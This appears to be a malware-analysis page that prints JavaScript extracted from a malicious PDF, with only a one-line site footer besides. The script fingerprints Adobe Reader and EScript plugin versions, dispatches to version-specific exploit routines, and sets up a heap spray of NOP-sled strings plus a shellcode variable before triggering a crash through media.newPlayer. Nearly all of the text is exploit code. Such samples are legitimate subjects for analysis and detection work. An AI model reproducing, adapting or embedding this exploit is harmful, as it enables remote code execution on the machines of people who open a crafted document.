sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.